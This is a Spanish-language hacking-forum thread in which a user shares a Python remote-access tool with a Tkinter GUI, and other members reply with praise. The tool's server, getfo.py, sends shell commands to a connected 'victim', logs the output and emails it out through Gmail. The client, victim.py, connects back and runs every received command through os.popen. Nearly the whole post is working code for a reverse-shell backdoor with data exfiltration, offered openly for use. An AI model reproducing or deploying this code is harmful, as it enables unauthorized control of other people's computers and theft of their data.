I'm back. 8)
(No sé si es "legal" abrir este post, ya que es una actualización de mi anterior aporte, pero como se le añadió algo tan "grande" como una GUI, pues decidí abrirlo :o)
Si algo le faltaba a getfo.py, era una bonita y simple GUI. ;D
El funcionamiento es el mismo, abrimos un servidor, lo ponemos a escuchar, acepta una conexión (victima), envia comandos, los recibe, los guarda en un archivo de texto plano, y nos dá la opción de poder enviarlo por correo (Gmail). Usé un poco del code de mis 2 anteriores aportes, para "acelerar el proceso de cocinado".
getfo.py :
from tkinter import *
from tkinter.messagebox import showinfo, showerror, askquestion
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os, sys, smtplib, socket, threading
class GUI(Tk):
'''La ventana principal, main menu.'''
def __init__(self):
Tk.__init__(self)
self.wm_iconbitmap('icono.ico')
self.title("GetFo | A socket, a victim")
self.resizable(0,0)
self.config(bg="black")
topimg = PhotoImage(file="mainimage.gif")
t = Label(self, image=topimg, bg="black")
t.image = topimg
t.grid(row =0, column=0, padx=5,pady=5)
Button(self, text="Start Server", command=self.toget, bg="black", fg="green", activeforeground="green", activebackground="black").grid(row=1, column=0, sticky=NSEW)
Button(self, text="Send info", command=self.toemail, bg="black", fg="green").grid(row=2, column=0, sticky=NSEW)
Button(self, text="Exit", command=self.quit, bg="black", fg="red").grid(row=3, column=0, sticky=NSEW)
Label(self, text="Coded by Barlan | April 26, 2015", bg="black", fg="white").grid(row=4, column=0)
'''Estas funciones "ocultan" la ventana principal, y nos muestran alguna de las otras 2 opciones.'''
def toget(self):
self.withdraw()
Get()
def toemail(self):
self.withdraw()
Email()
class Get(threading.Thread):
'''Este es el servidor.
Se asigna un socket, y espera una conexión. Al conectarse un cliente, inicia el envio de comandos.'''
def __init__(self):
threading.Thread.__init__(self)
try:
self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socksv.bind(("127.0.0.1", 10327))
showinfo("Info", "Server now listening on 127.0.0.1:10327")
except socket.error as e:
showerror("Sorry!", str(e))
self.socksv.close()
sys.exit(1)
self.root = Toplevel()
self.root.wm_iconbitmap('icono.ico')
self.root.resizable(0,0)
self.root.title("GetFo | Server")
self.root.config(bg="black")
topimg = PhotoImage(file="mainserver.gif")
t = Label(self.root, image=topimg, bg="black")
t.image = topimg
t.grid(row=0, column=0)
self.start()
def run(self):
'''start() comienza la ejecución del servidor
Muestra un mensaje de espera, y procede a esperar una conexión entrante.
'''
ac = Label(self.root, text="Awaiting connection...", bg="black", fg="white").grid(row=1, column=0)
self.socksv.listen(2)
self.sc, self.addr = self.socksv.accept()
ac = Label(self.root, text="%s is now awaiting commands!" % str(self.addr), bg="black", fg="white").grid(row=1, column=0)
self.cmds()
def cmds(self):
'''Aquí el usuario intruduce el comando a ejecutar en el cliente.'''
vc = StringVar()
f = Frame(self.root, bg="black")
f.grid(row=2,column=0)
c = Label(f, text="Command>", bg="black", fg="white").grid(row=0, column=0, sticky=NSEW)
self.cmd = Entry(f, textvariable=vc, width = 40)
self.cmd.grid(row=0, column=1)
Button(self.root, text="Send!", command=self.send_cmd, bg="black", fg="green").grid(row=3, column=0, sticky=NSEW)
Button(self.root, text="Exit", command=self.ask, bg="black", fg="red").grid(row=4, column=0, sticky=NSEW)
def ask(self):
aq = askquestion("Wait!", "Do you want to send the results via email?", icon='info')
if aq == "yes":
self.email()
elif "no":
self.exit_s()
def send_cmd(self):
'''Obtenemos el comando escrito, y lo enviamos al cliente.'''
to_cmd = self.cmd.get()
if to_cmd == "exit":
self.sc.send(to_cmd.encode("utf-8"))
self.sc.close()
self.socksv.close()
exit()
self.sc.send(to_cmd.encode("utf-8"))
self.recv_ans()
def recv_ans(self):
'''Después de que el cliente ejecuta el comando, recibimos los datos resultantes, y los guardamos en "data.txt"'''
rec = self.sc.recv(2048)
txt = rec.decode("utf-8")
if os.path.exists("data.txt"):
with open("data.txt", "a") as f:
f.write(txt + "\n\n")
else:
with open("data.txt", "w") as f:
f.write(txt + "\n\n")
showinfo("Success!", "Data received and saved on 'data.txt'")
self.cmds()
def exit_s(self):
self.sc.send("exit".encode("utf-8"))
self.sc.close()
self.socksv.close()
exit()
def email(self):
self.root.withdraw()
Email()
class Email():
'''Email() nos brinda una ventana hija con los campos necesarios para el logueo en el servicio de Gmail.'''
def __init__(self):
try:
self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
except Exception as e:
showerror("Fatal Error", str(e))
exit()
self.GW = Toplevel()
self.GW.wm_iconbitmap('icono.ico')
self.GW.resizable(0,0)
self.GW.title("GetFo | Gmail Loggin")
self.GW.config(bg="black")
topim = PhotoImage(file="header-gmail.gif")
r = Label(self.GW, image=topim, bg="black")
r.image = topim
r.pack()
me = StringVar()
mp = StringVar()
Frame_User = Frame(self.GW, bg="black")
Frame_User.pack()
Label(Frame_User, text="Your Gmail account:", bg="black", fg="green").pack(side=LEFT)
self.my_email = Entry(Frame_User, textvariable=me, width = 25)
self.my_email.pack(side=RIGHT)
Frame_Pass = Frame(self.GW, bg="black")
Frame_Pass.pack()
Label(Frame_Pass, text="Your Password:", bg="black", fg="green").pack(side=LEFT)
self.my_passw = Entry(Frame_Pass, textvariable=mp, show="*", width = 25)
self.my_passw.pack(side=RIGHT)
self.email_button = Button(self.GW, text="Enter", command=self.login_gmail, bg="black", fg="green")
self.email_button.pack(fill=X)
salir = Button(self.GW, text="Exit", command=self.GW.quit, bg="black", fg="red")
salir.pack(fill=X)
def login_gmail(self):
'''login_gmail() recibe nuestros datos, e intenta loguearnos'''
account = self.my_email.get()
self.password = self.my_passw.get()
self.gmail.ehlo()
self.gmail.starttls()
try:
self.gmail.login(account, self.password)
showinfo("Success", "You are now logged in Gmail.")
except:
showerror("Error", "Unable to login into %s." % account)
exit()
gmail = self.gmail
newEmail(gmail, account)
self.GW.withdraw()
class newEmail(Email):
''' Despues de loguearnos, procedemos a crear el email junto con el archivo (datos recolectados) ajuntados.'''
def __init__(self, gmail, account):
ne = Toplevel()
ne.wm_iconbitmap('icono.ico')
ne.resizable(0,0)
ne.title("GetFo | New Email")
ne.config(bg="black")
self.gmail = gmail
self.email = account
topim = PhotoImage(file="sending_info.gif")
r = Label(ne, image=topim, bg="black")
r.image = topim
r.grid()
et = StringVar()
es = StringVar()
LE = Frame(ne, bg="black")
LE.grid(row=1, column=0)
Label(LE, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, columnspan=2, sticky=NSEW)
Label(LE, text="Attachment: 'data.txt'", bg="black", fg="orange").grid(row=1, column=0, columnspan=2, sticky=NSEW)
Label(LE, text="To:", bg="black", fg="green").grid(row = 2, column = 0, columnspan=2, sticky=W)
self.email_to = Entry(LE, textvariable=et, width = 35)
self.email_to.grid(row = 2, column = 1, sticky=E)
Label(LE, text="Subject:", bg="black", fg="green").grid(row = 3, column = 0, columnspan=2, sticky=W)
self.email_subject = Entry(LE, textvariable=es, width = 35)
self.email_subject.grid(row = 3, column = 1, sticky=E)
Label(LE, text="Your Message:", bg="black", fg="green").grid(row = 4, column = 0, sticky=W)
self.email_msg = Text(LE, width = 35, height = 5)
self.email_msg.grid(row = 4, column = 1, sticky=E)
self.email_button = Button(ne, text="Send", command=self.sendEmail, bg="black", fg="green")
self.email_button.grid(row = 2, column = 0, sticky=NSEW)
salir = Button(ne, text="Exit", command=ne.quit, bg="black", fg="red")
salir.grid(row = 3, column = 0, sticky=NSEW)
def sendEmail(self):
'''Se obtienen los datos de los campos.'''
self.to = self.email_to.get()
self.subject = self.email_subject.get()
self.msg = self.email_msg.get("1.0", END)
# Ahora añadiremos el archivo al cuerpo del mensaje
msg = MIMEMultipart('alternative')
msg['Subject'] = self.subject
msg['From'] = self.email
body = self.msg
filename = "data.txt"
r = open(filename)
att = MIMEText(r.read())
att.add_header("Content-Disposition", "attachment", filename = filename)
msg.attach(att)
content = MIMEText(body, 'plain')
msg.attach(content)
try:
self.gmail.sendmail(self.email, self.to, msg.as_string())
showinfo("Completed","Email sent successfully to %s" % self.to)
exit()
except Exception as e:
showerror("Error", str(e))
exit()
GUI().mainloop()
victim.py :
import socket, os
class cCMD():
def start(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(("127.0.0.1", 10327))
print("[!+] Connection established!")
except:
print("[-] Can't establish a connection to server.")
exit()
while True:
print("\n[...] Awaiting commands...")
re = sock.recv(1024)
cmd = re.decode("utf-8")
if cmd == "exit":
print("\n[...] Exiting")
exit()
text = os.popen(cmd)
data = str(text.read())
sock.send(data.encode("utf-8"))
print("[+] Data sent succesfully.")
if __name__ == "__main__":
cCMD().start()
Fotocapturas:
(http://i57.tinypic.com/3029nb7.png)
(http://i57.tinypic.com/359bn8n.png)
(http://i62.tinypic.com/25utcnl.png)
(http://i57.tinypic.com/2chp210.png)
El código fuente de los 2 archivos, así como las imagenes usadas están dentro de un archivo .rar: https://mega.co.nz/#!mggHgYLJ!Mpu0UJFWZY7L4hRN_FCa2jzm_xdXN8D0c173GW2CaNE (https://mega.co.nz/#!mggHgYLJ!Mpu0UJFWZY7L4hRN_FCa2jzm_xdXN8D0c173GW2CaNE)
Críticas y opiniones son bienvenidos.
Saludos!
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!
Saludos y sigue así!
ANTRAX
Excelente Barlan! Te ha quedado muy bien!
Muchas gracias por compartír! Seguí así!
+1
Saludos!
WhiZ
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!
Saludos y sigue así!
ANTRAX
Gracias ANTRAX! :D
Ojalá y los nuevos users se animen a postear sus aportes, me emociona ver lineas de código que no entiendo.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Excelente Barlan! Te ha quedado muy bien!
Muchas gracias por compartír! Seguí así!
+1
Saludos!
WhiZ
Gracias WhiZ! ;D